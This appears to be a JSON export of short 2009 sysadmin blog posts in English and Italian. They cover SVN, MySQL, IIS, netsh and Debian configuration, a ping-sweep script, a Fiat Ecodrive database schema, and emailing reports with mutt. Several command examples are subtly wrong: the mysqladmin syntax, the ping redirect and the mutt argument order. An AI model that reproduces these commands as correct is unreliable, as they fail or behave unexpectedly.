you use this directive, make sure the mod_authz_svn module is loaded.\n\u0026lt;Location /repos\u0026gt; DAV svn SVNPath /home/myself/myrepos # Access Control via the authz module. AuthzSVNAccessFile /home/myself/private/myrepos.acl # Anonymous access is allowed. Prompt as needed. Satisfy Any Require valid-user AuthType Basic AuthName \u0026#34;My subversion repositories\u0026#34; AuthUserFile /home/myself/private/myrepos.pw \u0026lt;/Location\u0026gt; The file specified in AuthzSVNAccessFile is a plain text file which defines fine-grained access lists. Note that all path names specified are relative to the SVNPath.\n# # Allow anonymous read access to everything by default. # [/] \\* = r # # Grant alice and bob write access to all of /myproject1/. # [/myproject] \\* = r leo = rw temp = rw # # Grant carol and charlie write access to only /myproject/foo # [/myproject/foo] leo= rw temp = rw ","permalink":"https://www.deepreflect.net/2009/03/29/configuring-subversion-access-over-httpdav/","summary":"\u003cul\u003e\n\u003cli\u003eCreating the repository\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIf you have not created any Subversion repositories yet, you can create one with svnadmin:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# svnadmin create ~/my-repository\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eAdding mod_dav_svn to your httpd\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# a2enmod mod\\_dav\\_svn\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eIf you plan to use fine-grained permissions, load mod_authz_svn.so as well:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# a2enmod mod_authz_svn\u003c/code\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConfiguring access to repositories\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHTTP access to your repositories is defined using a \u003ccode\u003e\u0026lt;Location\u0026gt;\u003c/code\u003e section in your httpd.conf.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;Location /myproject\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDAV svn\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSVNPath /home/myself/myrepos/myproject\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAuthType Basic\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAuthName \u0026#34;My project\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAuthUserFile /home/myself/private/myproject.pw\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOrder deny,allow\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;LimitExcept GET PROPFIND OPTIONS REPORT\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRequire valid-user\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;/LimitExcept\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;/Location\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis entry would grant read-only access to everyone and write access to every user AuthUserFile. You can use the htpasswd utility to create or update this file, as described here.\u003c/p\u003e","title":"Configuring subversion access over HTTP/DAV"},{"content":"If you have never set a root password for mysql, the server does not require a password at all for connecting as root. To setup root password for first time, use mysqladmin command at shell prompt as follows:\n# mysqladmin -u root password NEWPASSWORD\nHowever, if you want to change (or update) a root password, then you need to use following command\n# mysqladmin -u root -p oldpassword newpass\nEnter password: Change MySQL password for other user To change a normal user password you need to type (let us assume you would like to change password for leo):\n# mysqladmin -u leo -p oldpassword newpass\nChanging mysql root user password using mysql sql command This is another method. mysql stores username and passwords in user table inside mysql database. You can directly update password using the following method to update or change password for user leo:\nLogin to mysql server, type following command at shell prompt: # mysql -u root -p\nUse mysql database (type command at mysqlprompt): mysqluse mysql;\nChange password for user leo: mysqlupdate user set password=PASSWORD(\u0026quot;NEWPASSWORD\u0026quot;) where User='leo';\nReload privileges: mysqlflush privileges; mysqlquit ","permalink":"https://www.deepreflect.net/2009/03/22/mysql-change-password/","summary":"\u003cp\u003eIf you have never set a root password for mysql, the server does not require a password at all for connecting as root. To setup root password for first time, use mysqladmin command at shell prompt as follows:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# mysqladmin -u root password NEWPASSWORD\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eHowever, if you want to change (or update) a root password, then you need to use following command\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# mysqladmin -u root -p oldpassword newpass\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eEnter password:\nChange MySQL password for other user\nTo change a normal user password you need to type (let us assume you would like to change password for leo):\u003c/p\u003e","title":"MySQL Change Password"},{"content":"Visto che mi è capitato e mi dimentico sempre, proftpd nell\u0026rsquo;installazione standard (Debian per capirci) è attivo di defaultl l\u0026rsquo;ident del client, quindi colpa del reverse o colpa dei dns mal configurati la connessione risulta parecchio lenta nella fase di autenticazione.\nPer risolvere:\n#/etc/proftpd/proftpd.conf IdentLookups no ","permalink":"https://www.deepreflect.net/2009/03/17/proftp-ident-lookups/","summary":"\u003cp\u003eVisto che mi è capitato e mi dimentico sempre, proftpd nell\u0026rsquo;installazione standard (Debian per capirci) è attivo di defaultl l\u0026rsquo;ident del client, quindi colpa del reverse o colpa dei dns mal configurati la connessione risulta parecchio lenta nella fase di autenticazione.\u003c/p\u003e\n\u003cp\u003ePer risolvere:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#/etc/proftpd/proftpd.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIdentLookups no\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"ProFTP(D) - Ident Lookups"},{"content":"E così ho comprato una 500, come per le macchine di nuova produzione della Fiat a bordo hanno equipaggiato un sistema che si chiama Blue \u0026amp; Me un computer di bordo basato su Windows Mobile for Automotive, che tuttosommato non è neanche una scelta così pessima quando funziona.\nQuesta breve introduzione mi era necessaria per descrivere un software fornito dalla Fiat chiamato Ecodrive installabile sul computer di bordo dell\u0026rsquo;automobile. Nonostante il nome non è nientaltro che un datalogger dei dati di bordo come velocità, numero di giri del motore, temperature ecc. che salva tutto su una drive collegato alla porta usb della macchina.\nDi base nasce tutto come un supporto alla guida che aiuti a migliorare lo stile al fine di ridurre i consumi.. Inutile dire che fa abbastanza ridere questa cosa come anche l\u0026rsquo;interfaccia grafica del software che lo rendo un giocattolo.\nA questo punto dati + software indecente, nasce spontaneo eliminare una delle due cose e correre ai ripari.\nI dati grezzi vengono salvati nel drive usb in /iFiat/ecoDrive/data/ in un file chiamato eddrm.-idnumericoauto-.bin da lazyman non ho ancora trovato il significato di questo file quindi consiglio di passare allo step successivo che offre i dati già pronti.\nIl software Ecodrive fornito è un\u0026rsquo;applicativo scritto in Adobe AIR ad occhio può sembrare una scelta di dubbia convenienza ma sul sito fiat ho avuto una grande sorpresa il download era disponibile anche per Mac OS X. Ovviamente non sto a descrivere come installare e usare il programma quindi do per scontato che sia già stata fatta la prima importazione dei dati.\nI dati sono stoccati sulla macchina locale in quattro file SQLite in una directory simile a questa:\n/Users/username/Library/Preferences/com.fiat.convergence.-idnumerico-.1/Local Store/\necoDrive.db (Questo file contiene di dati varibili del software come costo carburante e simili aggiornati automaticamente da internet) ecoDriveCommunity.db (Questo file contiene i dati statistici della comunity usati per fare in confronto con i trend locali) ecoDriveJourney.db (Questo file contiene i dati devi viaggi effettuati dai veicoli) iFiat.db (Questo file contiene le configu razioni base del programma e veicoli)\nI file si possono aprire con qualsiasi cosa supporti SQLite ad esempio io uso SQLite Database Browser per Mac OS X: A noi serve il seguente file ecoDriveJourney.db in seguito illustro lo schema per tabelle:\nTable: AccellerationBandData Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: LowerSpeed (integer PRIMARY) valore numerico che esprime la velocità minima in km/h Field: UpperSpeed (integer PRIMARY) valore numerico che esprime la velocità massima in km/h Field: Acceleration (FLOAT) valore numerico positivo che esprime l\u0026rsquo;accellerazione in \u0026ldquo;g\u0026rdquo; per essere più chiari m/s2 Field: Deceleration (FLOAT) valore numerico negativo che esprime l\u0026rsquo;accellerazione in \u0026ldquo;g\u0026rdquo; per essere più chiari m/s2 Table: DatabaseVersion (questa tabella non contiene dati utili)\nTable: DrivingCategoryScore Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: JourneyCategoryId Field: Score\nTable: GearData Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: Gear (integer PRIMARY) id numerico che indica la marcia 0 indica la retro Field: AverageAcceleration (FLOAT) valore numerico positivo che esprime l\u0026rsquo;accellerazione in \u0026ldquo;g\u0026rdquo; per essere più chiari m/s2 per la singola marcia Field: AverageDownshiftRPM (FLOAT) valore numerico che indica gli RPM minimi raggiunti con la marcia inserita Field: AverageUpshiftRPM (FLOAT) valore numerico che indica gli RPM massimi raggiunti con la marcia inserita Field: PercentUsage (FLOAT) sono ancora indeciso su questo dato non riesco ad interpretare i decimali Field: AverageDeceleration (FLOAT) valore numerico negativo che esprime l\u0026rsquo;accellerazione in \u0026ldquo;g\u0026rdquo; per essere più chiari m/s2\nTable: Journey Field: Id (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: UserLocalId identificativo interno dell\u0026rsquo;autista Field: VehicleLocalId identificativo interno del veicolo Field: StartTime ora di inizione del viaggio espresso in unixtimestamp Field: StartDate data di inizione del viaggio espresso in unixtimestamp Field: EndTime ora fine di fine del viaggio espresso in unixtimestamp Field: StartOdometer kilometri indicati dal tachimetro al momento di inizio del viaggio Field: StopOdometer kilometri indicati dal tachimetro all fine del viaggio Field: EcoIndex paramentro dell\u0026rsquo;ecodrive Field: EcoIndexServerId paramentro dell\u0026rsquo;ecodrive Field: EcoIndexServerAlgorithmVersion paramentro dell\u0026rsquo;ecodrive Field: PricePerUnit costo del carburante Field: FuelConsumed carburante usato Field: JourneyType tipo di viaggio urbato/extraurbano viene calcolato in base a velocità massima e distanza, dato non reale Field: ComputedServerFuelConsumption carburante usato Field: ConsumptionUnit unità in cui è espresso il consumo Field: TripDataCount ???\nTable: TripAComputerData Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp Field: PartialOdometer inidica in kilometri quanto indica il tachimetro parziale Field: AverageSpeed velocità media espressa in km/h Field: AverageFuelConsumption: valore che esprime il consumo medio in litri per 100Km Field: EventType tipo di viaggio urbano/extraurbano Field: DistanceUnit indica con che unità sono espresse le distanze.\nTable: TripData Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp Field: EngineSpeed RPM del motore Field: VehicleSpeed velocità veicolo in Km/h Field: IstantaneosFuelConsumption valore che esprime il consumo medio in litri per 100Km Field: AverageFuelConsumption valore che esprime il consumo medio in litri per 100Km\nTable: TripStatusData Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp Field: ExternalTemperature temperatura esterna espressa in gradi centigradi Field: CompressorSts ???\n","permalink":"https://www.deepreflect.net/2009/03/15/fiat-ecodrive-database/","summary":"\u003cp\u003eE così ho comprato una 500, come per le macchine di nuova produzione della Fiat a bordo hanno equipaggiato un sistema che si chiama Blue \u0026amp; Me un computer di bordo basato su Windows Mobile for Automotive, che tuttosommato non è neanche una scelta così pessima quando funziona.\u003c/p\u003e\n\u003cp\u003eQuesta breve introduzione mi era necessaria per descrivere un software fornito dalla Fiat chiamato Ecodrive installabile sul computer di bordo dell\u0026rsquo;automobile. Nonostante il nome non è nientaltro che un datalogger dei dati di bordo come velocità, numero di giri del motore, temperature ecc. che salva tutto su una drive collegato alla porta usb della macchina.\u003c/p\u003e","title":"Fiat Ecodrive - Database"},{"content":"Sono stufo di cliccare..\nConst AU_DISABLED = 1 Set objAutoUpdate = CreateObject(\u0026#34;Microsoft.Update.AutoUpdate\u0026#34;) Set objSettings = objAutoUpdate.Settings objSettings.NotificationLevel = AU_DISABLED objSettings.Save ","permalink":"https://www.deepreflect.net/2009/02/12/windows-disable-automatic-update-from-vbs/","summary":"\u003cp\u003eSono stufo di cliccare..\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eConst AU_DISABLED = 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSet objAutoUpdate = CreateObject(\u0026#34;Microsoft.Update.AutoUpdate\u0026#34;)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSet objSettings = objAutoUpdate.Settings\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eobjSettings.NotificationLevel = AU_DISABLED\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eobjSettings.Save\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Windows - Disable automatic update from VBS"},{"content":"Hahahah,\nI\u0026rsquo;m burst in laughter when I read this NTFS (under win 2000 or above) specific, obviously Microsoft called with Junction name.\nUnfortunately, Windows comes with no tools for creating junctions, for use this funtion there\u0026rsquo;s two additional program:\nGet Resouce Kit and use \u0026ldquo;linkd\u0026rdquo; program\nUse \u0026ldquo;junction\u0026rdquo; program form Sysinternal tool\nMore info:\nhttp://support.microsoft.com/?kbid=205524\nhttp://technet.microsoft.com/en-us/sysinternals/bb896768.aspx\n","permalink":"https://www.deepreflect.net/2009/02/08/windows-symlink/","summary":"\u003cp\u003eHahahah,\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m burst in laughter when I read this NTFS (under win 2000 or above) specific, obviously Microsoft called with Junction name.\u003c/p\u003e\n\u003cp\u003eUnfortunately, Windows comes with no tools for creating junctions, for use this funtion there\u0026rsquo;s two additional program:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eGet Resouce Kit and use \u0026ldquo;linkd\u0026rdquo; program\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUse \u0026ldquo;junction\u0026rdquo; program form Sysinternal tool\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMore info:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://support.microsoft.com/?kbid=205524\"\u003ehttp://support.microsoft.com/?kbid=205524\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://technet.microsoft.com/en-us/sysinternals/bb896768.aspx\"\u003ehttp://technet.microsoft.com/en-us/sysinternals/bb896768.aspx\u003c/a\u003e\u003c/p\u003e","title":"Windows - Symlink"},{"content":"IIS 6 on Windows Server 2003 or R2 has a limit of 200 KB for ASP requests in general and file uploads. To change this limitation you need to edit the Metabase file, which can be found at c:\\Windows\\System32\\Inetsrv\\MetaBase.xml. Follow these steps:\nStop IIS from command line iisreset /STOP\nOpen MetaBase file, find the variable AspMaxRequestEntityAllowed limits the number of bytes in the page request (by default 200KB); change the value to 1073741824 (unlimited) or to a limit of your choice.\nStart IIS from command linet:\niisreset /START\nThere\u0026rsquo;s another way for do this change without stop the service but sincerly IIS is a Microsoft program, I\u0026rsquo;m no sure about this operation..\nGo to IIS and right click the server, select Properties, and check the box \u0026ldquo;Allow changes to MetaBase configuration while IIS is running\u0026rdquo; then try to edit metbase file.\n","permalink":"https://www.deepreflect.net/2009/02/08/iis-maxupload-limit-asp/","summary":"\u003cp\u003eIIS 6 on Windows Server 2003 or R2 has a limit of 200 KB for ASP requests in general and file uploads. To change this limitation you need to edit the Metabase file, which can be found at c:\\Windows\\System32\\Inetsrv\\MetaBase.xml.\nFollow these steps:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eStop IIS from command line\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ccode\u003eiisreset /STOP\u003c/code\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eOpen MetaBase file, find the variable AspMaxRequestEntityAllowed limits the number of bytes in the page request (by default 200KB); change the value to 1073741824 (unlimited) or to a limit of your choice.\u003c/p\u003e","title":"IIS maxupload limit ASP"},{"content":"Sometime we need to discover an entire subnet.\nThis is a small script not so fast but easy:\n#!/bin/sh subnet=10.10.10. addr=1 while [ $addr -lt 256 ]; do ping -c 1 -t 1 $subnet$addr /dev/null \u0026amp;\u0026amp; echo $subnet$addr Is Alive let addr=addr+1 done ","permalink":"https://www.deepreflect.net/2009/02/08/discovery-subnet-with-ping/","summary":"\u003cp\u003eSometime we need to discover an entire subnet.\u003c/p\u003e\n\u003cp\u003eThis is a small script not so fast but easy:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#!/bin/sh\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esubnet\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e10.10.10.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaddr\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e $addr -lt \u003cspan style=\"color:#ae81ff\"\u003e256\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e; \u003cspan style=\"color:#66d9ef\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eping -c \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e -t \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e $subnet$addr /dev/null \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e echo $subnet$addr Is Alive\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elet addr\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eaddr+1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Discovery Subnet with Ping"},{"content":"Catalyst 4224 Access Gateway Switch Software Configuration Guide - Traffic Shaping [Cisco Catalyst 4200 Series Switches] - Cisco Systems.\n","permalink":"https://www.deepreflect.net/2009/02/02/link-catalyst-4224-access-gateway-switch-software-configuration-guide-traffic-shaping%C2%A0-cisco-catalyst-4200-series-switches-cisco-systems/","summary":"\u003cp\u003e\u003ca href=\"http://www.cisco.com/en/US/products/hw/switches/ps669/products_configuration_guide_chapter09186a008007f1e8.html\"\u003eCatalyst 4224 Access Gateway Switch Software Configuration Guide - Traffic Shaping  [Cisco Catalyst 4200 Series Switches] - Cisco Systems\u003c/a\u003e.\u003c/p\u003e","title":"Link - Catalyst 4224 Access Gateway Switch Software Configuration Guide - Traffic Shaping  [Cisco Catalyst 4200 Series Switches] - Cisco Systems"},{"content":"Yes, is possibile don\u0026rsquo;t make lot of click to reconfigure network interfaces under Windows, using \u0026ldquo;netsh\u0026rdquo; command like this:\nFor set up static address and metric 1 gateway:\nnetsh interface ip set address name=\u0026#34;Local Area Connection\u0026#34; static ip.ip.ip.ip 255.255.255.0 gw.gw.gw.gw 1 For set up static dns:\nnetsh interface ip set dns \u0026#34;Local Area Connection\u0026#34; static xx.xx.xx.xx netsh add dns \u0026#34;Local Area Connection\u0026#34; addr=xx.xx.xx.xx index=2 For setup ip by dhcp:\nnetsh interface ip set address name=\u0026#34;Local Area Connection\u0026#34; source=dhcp netsh interface ip set dns name=\u0026#34;Local Area Connection\u0026#34; source=dhcp ","permalink":"https://www.deepreflect.net/2009/02/01/windows-change-ip-form-command-line/","summary":"\u003cp\u003eYes, is possibile don\u0026rsquo;t make lot of click to reconfigure network interfaces under Windows, using \u0026ldquo;netsh\u0026rdquo; command like this:\u003c/p\u003e\n\u003cp\u003eFor set up static address and metric 1 gateway:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enetsh interface ip set address name=\u0026#34;Local Area Connection\u0026#34; static ip.ip.ip.ip 255.255.255.0 gw.gw.gw.gw 1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor set up static dns:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enetsh interface ip set dns \u0026#34;Local Area Connection\u0026#34; static xx.xx.xx.xx\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enetsh add dns \u0026#34;Local Area Connection\u0026#34; addr=xx.xx.xx.xx index=2\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor setup ip by dhcp:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enetsh interface ip set address name=\u0026#34;Local Area Connection\u0026#34; source=dhcp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enetsh interface ip set dns name=\u0026#34;Local Area Connection\u0026#34; source=dhcp\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Windows - Change IP from command line"},{"content":"iftop command listens to network traffic on a named network interface, or on the first interface it can find which looks like an external interface if none is specified, and displays a table of current bandwidth usage by pairs of hosts. iftop is a perfect tool for remote Linux server over ssh session.\niftop must be run by the root or the user who has sufficient permissions to monitor all network traffic on the network interface. Type iftop command at tge shell prompt to display traffic:\n# iftop\nHowever, iftop works best when you use filters. For example, if you want to find out how much bandwidth users are wasting or trying to figure out why the network is slow,\n# iftop -f icmp\nYou can display or analyses packet flowing in and out of the 192.168.1.0/24 network:\n# iftop -F 192.168.1.0/24\nDisable output for DNS traffic by using filter code such as:\n# iftop -f 'not port domain'\niftop has many options read man page for further information.\n","permalink":"https://www.deepreflect.net/2009/01/26/iftop/","summary":"\u003cp\u003eiftop command listens to network traffic on a named network interface, or on the first interface it can find which looks like an external interface if none is specified, and displays a table of current bandwidth usage by pairs of hosts. iftop is a perfect tool for remote Linux server over ssh session.\u003c/p\u003e\n\u003cp\u003eiftop must be run by the root or the user who has sufficient permissions to monitor all network traffic on the network interface.\nType iftop command at tge shell prompt to display traffic:\u003c/p\u003e","title":"Linux - Iftop"},{"content":"The Linux command line can be very powerful once you know how to use it. You can parse data, monitor\nMutt: One of major drawbacks of using the mail command is that it does not support the sending of attachments. mutt, on the other hand, does support it. I’ve found this feature particularly useful for scripts that generate non-textual reports or backups which are relatively small in size which I’d like to backup elsewhere. Of course, mutt allows you to do a lot more than just send attachments. It is a much more complete command line mail client than the “mail” command. Right now we’ll just explore the basic stuff we might need often. Here’s how you would attach a file to a mail:\n# echo \u0026quot;Sending an attachment.\u0026quot; | mutt -a backup.zip -s \u0026quot;attachment\u0026quot; leo@deepreflect.net\nThis command will send a mail to leo@deepreflect.net with the subject (-s) “attachment”, the body text \u0026ldquo;Sending an attachment.\u0026rdquo;, containing the attachment (-a) backup.zip. Like with the mail command you can use the “-c” option to mark a copy to another mail id. Shell scripting: Now, with the basics covered you can send mails from your shell scripts. Here’s a simple shell script that gives you a reading of the usage of space on your partitions and mails the data to you.\n#!/bin/bash df -h | mail -s \u0026#34;disk space report\u0026#34; leo@deepreflect.net Save these lines in a file on your Linux server and run it. You should receive a mail containing the results of the command. If, however, you need to send more data than just this you will need to write the data to a text file and enter it into the mail body while composing the mail. Here’s and example of a shell script that gets the disk usage as well as the memory usage, writes the data into a temporary file, and then enters it all into the body of the mail being sent out:\n#!/bin/bash df -h \u0026gt; /tmp/mail_report.log free -m \u0026gt;\u0026gt; /tmp/mail_report.log mail -s \u0026#34;disk and RAM report\u0026#34; leo@deepreflect.net \u0026lt; /tmp/mail_report.log Now here’s a more complicated problem. You have to take a backup of a few files and mail then out. First the directory to be mailed out is archived. Then it is sent as an email attachment using mutt. Here’s a script to do just that:\n#!/bin/bash tar -zcf /tmp/backup.tar.gz /home/leo/files echo | mutt -a -s /tmp/backup.tar.gz \u0026#34;daily backup of data\u0026#34; leo@deepreflect.net The echo at the start of the last line adds a blank into the body of the mail being set out.\n","permalink":"https://www.deepreflect.net/2009/01/26/linux-send-mail-from-command-line/","summary":"\u003cp\u003eThe Linux command line can be very powerful once you know how to use it. You can parse data, monitor\u003c/p\u003e\n\u003cp\u003eMutt:\nOne of major drawbacks of using the mail command is that it does not support the sending of attachments. mutt, on the other hand, does support it. I’ve found this feature particularly useful for scripts that generate non-textual reports or backups which are relatively small in size which I’d like to backup elsewhere. Of course, mutt allows you to do a lot more than just send attachments. It is a much more complete command line mail client than the “mail” command. Right now we’ll just explore the basic stuff we might need often. Here’s how you would attach a file to a mail:\u003c/p\u003e","title":"Linux - Send mail from command line"},{"content":"Under Debian Linux startup files are stored in /etc/init.d/ directory and symbolic linked between /etc/rcX.d/ directory exists. Debian Linux uses System V initialization scripts to start services at boot time from /etc/rcX.d/ directory. Debian Linux comes with different utilities to remove unwanted startup file\nUsing rcconf:\nThis tool configures system services in connection with system runlevels. It turns on/off services using the scripts in /etc/init.d/. Rcconf works with System-V style runlevel configuration. It is a TUI(Text User Interface) frontend to the update-rc.d command.\nInstall rcconf in Debian:\n#apt-get install rcconf\nTo start rconf, login as root user and type rcconf\n# rcconf\nSelect the service you would like to enable or disable.\nUsing sysv-rc-conf:\nsysv-rc-conf provides a terminal GUI for managing “/etc/rc{runlevel}.d/” symlinks. The interface comes in two different flavors, one that simply allows turning services on or off and another that allows for more fine tuned management of the symlinks. Unlike most runlevel config programs, you can edit startup scripts for any runlevel, not just your current one.\nInstall sysv-rc-conf in debian:\n# apt-get install sysv-rc-conf\nThis will install sysv-rc-conf.Now you need to run the following command\n# sysv-rc-conf\nSelect the service you would like to enable or disable.\nBoth sysv-rc-conf and rcconf are best tools to use on Remote Debian Linux or when GUI is not available\nYou can also use update-rc.d script as follows (update-rc.d removes any links in the /etc/rcX.d directories to the script /etc/init.d/service):\n# update-rc.d -f {SERVICE-NAME} remove\nFor example to stop xinetd service you can type command as follows:\n# update-rc.d -f xinetd 